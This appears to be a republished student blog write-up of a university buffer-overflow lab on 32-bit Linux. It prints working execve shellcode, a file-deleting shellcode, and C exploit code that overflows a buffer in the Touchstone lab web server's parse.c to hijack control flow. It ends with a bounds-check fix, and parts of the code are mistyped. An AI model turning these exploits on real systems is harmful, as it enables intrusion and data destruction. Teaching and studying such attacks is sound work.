Lab 1 : Butter Overflow

来源:互联网 发布:linux内核编译过程 编辑:程序博客网 时间:2024/05/17 07:02

Lab 1 : Butter Overflow

Lab Environment Setup

Ubuntu 12.04 ( 64 bits )


Brief introduction

This is a experiment of Information Security, about 10 exercises and challenges in this blog. May be a lot mistakes here, if you find it, please contact me.


Part A:Butter Overflow Principal

Stack layout and Buffers

                 +------------------+ high address                 |       ...        |                 |  stack frame of  |                 |   main           |                 |       ...        |                 +------------------+                 |  str(a pointer)  | (4 bytes)                 |  return address  | (4 bytes)       %ebp----> |    saved %ebp    | (4 bytes)                 +------------------+                 |       buf[11]    |                 |       ...        | (12 bytes)        buf----> |       buf[0]     |                 |     variable_a   | (4 bytes)                 |       ...        |                 +------------------+ low address

这里写图片描述

We use BF ( address of the Small Buffer ) to change the RET. So it will execute from BF after completed the function calling.

Our goal is very simple, change the return address of a function, and execute the shell code to do something what we want.


Exercise 1 :

Now, you can write some code. Your job is to print the address of the variable buffer, in the C program stack1.c, and compile the C program as above.
Run it three times, observe and write down the output addresses in address.txt, are these 3 addresses the same or not?

These 3 addresses are not same ! We can use

printf("buffer = %p\n", buffer)

to get this address. We can see the addresses in the picture. print the addresses 3 times


Challenge !

Read the file /proc/pid/maps on your machine (pid is the process id), observe the value of [stack].

$ sudo vim /proc/2100/maps
 The value of [stack] is marked red


Exercise 2 :

Use gdb to debug the program, as the following. You may find the online gdb documentation useful.

Use gdb to run stack1Use gdb to run stack 1


Address Space Layout Randomization

In order to protect against buffer overflows, most recent operating systems introduce many protection mechanisms, among which the most important one is address space layout randomization (ASLR).For the purpose of this lab, you should simply turn off ASLR (in lab 2, you’ll perform attacks when ASLR is effective), which will make your attack easier to achieve. To turn off ASLR, you can run these commands:

$ su root
Password : ( enter root password )
# sysctl -w kernel.randomize_va_space=0


Exercise 3 :

Turn off the address space layout randomization, and then do exercise 1 again, write down the three addresses in args.txt, are tho se three addresses same or not?

These 3 addresses are same ! We can see these addresses in the picture.These three addresses


Buffer Overflow and Shellcode

A buffer overflow occurs when data written to a buffer exceeds the length of the buffer, so that corrupting data values in memory addresses adjacent the end of the buffer. This often occurs when copying data into a buffer without sufficient bounds checking.


Exercise 4 :

Use gdb, to print the value of the register %eip when the program crashes. How does the program run to this address?

print the value of the register %eip


When this program crashes, we can use i r $eip to get the value of %eip, and it’s 0xf7e070a9 in my laptop.

As follows:

eip            0xf7e070a9       0xf7e070a9
  • Why the program run to this address? I cut some codes from the result of disassemble fun.je means the program can jump other address when the ZF flag equals 1.
  • If the program runs normally, it will jump to 0x080484fb. In this program, I use a big size argument and make the buffer overflow, so the ZF flag not equals 1.
  • And it will call 0x8048390 <__stack_chk_fail@plt>.’eip’ means the ‘next step’ of program, I guess that 'eip' (0xf7e070a9) is the first address of __stack_chk_fail@plt.
0x080484f4 <+76>:      je     0x80484fb <func+83> 0x080484f6 <+78>:      call   0x8048390 <__stack_chk_fail@plt>0x080484fb <+83>:      leave         0x080484fc <+84>:      ret

Challenge !

Try to write a C program which prints every return address in the call stack until the invocation of the current function. This is often called a backtrace. This behaves like the bt command in the gdb. Hint: just as the following picture shows, the stack is simply a list with %ebp as the next pointer.

Use args of a function to calculate the return addresses, this will be shown in a screenshot in detail.
calculate the return address


Exercise 5 :

May you have seen there is a function name badman in the stack1.c, but we never use it. Now let’s do a exercise, we’ll invoke it manually.

Use gdb to run this program. As follows:
这里写图片描述

What is stored in the address 0xFFFFd82c ? Why after change its value to 0x0804842B, the function banman get invoked ? Why the Program result s SegmentFault? IF we don’t want to get a SegmentFault, what we should do ?

  • The address of badman function was stored in the address 0xFFFFd82c. The address 0xFFFFd82c comes from $ebp+4, in a stack model, $ebp+4 means the return address of a function call.
  • And 0x0804842B is the address of badman function, if change return address to 0x0804842B, the next step should execute the instructions on the address of 0x0804842B. After changed the return address and executed the badman function, it will lost the previous correct return address, get a invalid value and result a segment fault.
  • If we don’t want to get this, we can add exit(0) in badman function and we also can save the return address into the argument(buf). [buf][ret][ebp] And restore the return address after calling badman.

Exercise 6 :

The shellcode we offered can pop up a shell, Now it’s your turn to attack the C program named stack.c using shellcode, you will get a shell if you succeed.

As shown in the picture:
Pop a shell

I will attach my codes later.

#include <stdlib.h>#include <stdio.h>#include <string.h>char shellcode[]=    "\x31\xc0"    "\x50"    "\x68""//sh"    "\x68""/bin"    "\x89\xe3"    "\x50"    "\x53"    "\x89\xe1"    "\x99"    "\xb0\x0b"    "\xcd\x80" ;int func(char *str){    char buffer[128];    int i;    long *long_ptr = (long *)str; //do not need to fill code in the main function    for( i = 6; i < 40; i++ )            *(long_ptr+i) = (int)buffer; //the size of shell code equals to 24 bytes, start from the index: 6    strcpy(buffer, str);}int main(int argh, char **argv){    char buffer[1024];    int i;    for( i = 0; i < strlen(shell code); i++ )        buffer[i] = shellcode[i];    func(buffer);    printf("Return Properly\n");    return 1;}

Challenge !

Write other kind of (more interesting) shellcode, do whatever you want to do.

const char shellcode1[] = "\x31\xc0\x50\x68\x2e\x74\x78\x74\x68\x6e\x67\x2f\x61\x68\x75\x63\x68\x61\x68\x65\x2f\x6c\x69\x68\x2f\x68\x6f\x6d\x89\xe3\xb0\x0a\xcd\x80\x31\xdb\xb0\x01\xcd\x80";  // rm /home/liuchang/a.txtchar shellcode2[] = "\xeb\xfe"; // dead loop char shellcode3[]=  "\x31\xc0"    //xorl %eax,%eax  "\x50"        //pushl %eax  "\x68""//sh"  //pushl $0x68732f2f  "\x68""/bin"  //pushl $0x6e69622f  "\x89\xe3"    //movl %esp,%ebx  "\x50"        //pushl %eax  "\x53"        //pushl %ebx  "\x89\xe1"    //movl %esp,%ecx  "\x99"        //cdq  "\xb0\x0b"    //movb $0x0b,%al  "\xcd\x80"    //int $0x80  ;Get a root shell

Part B: Buffer Overflows in the Touchstone Web Server


Exercise 7:

Study the web server’s code, and look for code vulnerability which can be exploited to crash the server by buffer overflows, pay special attention to the file parse.c. Write down a description of each vulnerability in the file named bugs.txt.

In parse.c file, getToken function, the array of char s[1024] receives datas without check the bound and ‘switch-case’ options does set unseasonable… If user send a lot of characters such as ‘AAAAAAAAAAAAAAAAA…..’and it’s size is bigger than 1063 in my laptop, the return address of getToken will be changed!. If it’s size is bigger than 1024 and end with \r\n\r\n or ' ', the smashing stack mistakes will be detected.


Exercise 8 :

For the buffer overflow vulnerability you’ve found, construct an input to send to the touchstone web server, your goal is to crash the web server (the http server daemon). Note: if you’re successful to crash the web server, your browser will remain dead-waiting to receive data from the server. Don’t forget that any valid request must end up with \r\n\r\n.

Construct an input, fill my shell code and change the return address of getToken, I will attach my codes and shell code which is a loop without a exit later. It also can make it though changing the fd to 0, I will describe it in detail later. An import note: we should add -z execvestack and -fno-stack-protector options when we use gcc to compile them.

// broswer.c fileconst char shellcode[] = "\xeb\xfe";  // __asm__( "L: \n" "jmp L") can generate this shell code...#if 1    char array[1065];    char *ptr;    long *addr_ptr;    int i;    ptr = array;    add_ptr = (long *)ptr;    for( i = 0; i < 1065; i += 4 )        *(addr_ptr++) = 0xffffdae8;  // the address of small buffer( char s[1024] in parse.c ) in my laptop    for( i = 0; i < 532; i++ ) // half of char s[1024]        array[i] = 0x90;    // opcode 0x90 => do nothing    ptr = array + (530 - strlen(shellcode));    for( i = 0; i < strlen(shellcode); i++ )        *(ptr++) = shellcode[i];    array[1064] = ' '; // let getToken calls end!    write(sock_client, array, sizeof(array));#endif...// We send this array, server will execute this shell code and run into a cycle without a exit, the client will remain dead-waiting to receive because the server run into a dead cycle and can not send message to client.
#if 1   char array[1080];   int i = 0;   memset( array, 'A', sizeof(array) );   for( i = 0; i < 4; i ++ )            array[ 1064 + i ] = 0 ;   strcpy( array + 1068, "\r\n\r\n" );   write( sock_client, array, 1080 );  #endif// It will change the fd to zero, the server will execute read(0, &c, 1)//and can not send messages to the client ! This can make our goal come true...

Exercise 9 :

Perform your attack by constructing an exploit that hijacks control flow of the web server and unlink (delete) grades.txt. Remember that the web server is on your computer, so you should create a file named grades.txt first.

Construct a shell code , such as rm a.txt , this attack is similar to Exercise 8 and just change the shell code. My exploit likes as follows:

const char shellcode1[] = "\x31\xc0\x50\x68\x2e\x74\x78\x74\x68\x6e\x67\x2f\x61\x68\x75\x63\x68\x61\x68\x65\x2f\x6c\x69\x68\x2f\x68\x6f\x6d\x89\xe3\xb0\x0a\xcd\x80\x31\xdb\xb0\x01\xcd\x80";  // rm /home/liuchang/a.txt#if 1    char array[1065];    char *ptr;    long *addr_ptr;    int i;    ptr = array;    add_ptr = (long *)ptr;    for( i = 0; i < 1065; i += 4 )        *(addr_ptr++) = 0xffffdae8;  // the address of small buffer( char s[1024] in parse.c ) in my laptop    for( i = 0; i < 532; i++ ) // half of char s[1024]        array[i] = 0x90;    // opcode 0x90 => do nothing    ptr = array + (530 - strlen(shellcode1));    for( i = 0; i < strlen(shellcode1); i++ )        *(ptr++) = shellcode1[i];    array[1064] = ' '; // let getToken calls end!    write(sock_client, array, sizeof(array));#endif

Challenge !

Write a remote shellcode, so that you can gain control of a remote machine.

  • run ./touchstone in a remote machine, and print the address of the target buffer( char s[1024] )….. and turn off the stack protector and turn on --z execstack .
  • Change the shell code in the remote machine and the address as follows:
 char shellcode[]=          "\x31\xc0"          "\x50"          "\x68""//sh"          "\x68""/bin"          "\x89\xe3"          "\x50"          "\x53"          "\x89\xe1"          "\x99"          "\xb0\x0b"          "\xcd\x80" ;...    for( i = 0; i < 1065; i += 4 )        *(addr_ptr++) = 0xbfffad8;...
  • my remote machine will open a new shell, but the client does not control this shell, I failed… As shown in a picture:

这里写图片描述


Part C:Fixing the buffer overflow


The source of buffer overflow vulnerability comes from the web server’s source code, so you should realize the importance to write secure code from the first place, though it’s, nevertheless to say, not easy. For the specific buffer overflows in this lab, you can fix buffer overflows relatively easily by modifying the source code. If you can not gain access to the source code, say your Windows has a buffer overflow (that’s often the case), you will have to wait for M$ to publish a security update.

Exercise 10:

Try to fix the buffer overflow vulnerabilities of the touchstone web server.
You can use whatever techniques to achieve this, say use safe string copying function strncpy or to allocate the buffer in the heap but not on the stack.
And re-do the attack, observe whether or not your attack will succeed.

In parse.c file, check the bound of the char s[1024], when receive size is bigger than 1024, we can send a error to the client, just like this as follow:

#if 1           if( i > 1024 )           {                   write(fd, "can not receive any more!", 27);                   return;           } #endif

这里写图片描述

1 0
原创粉丝点击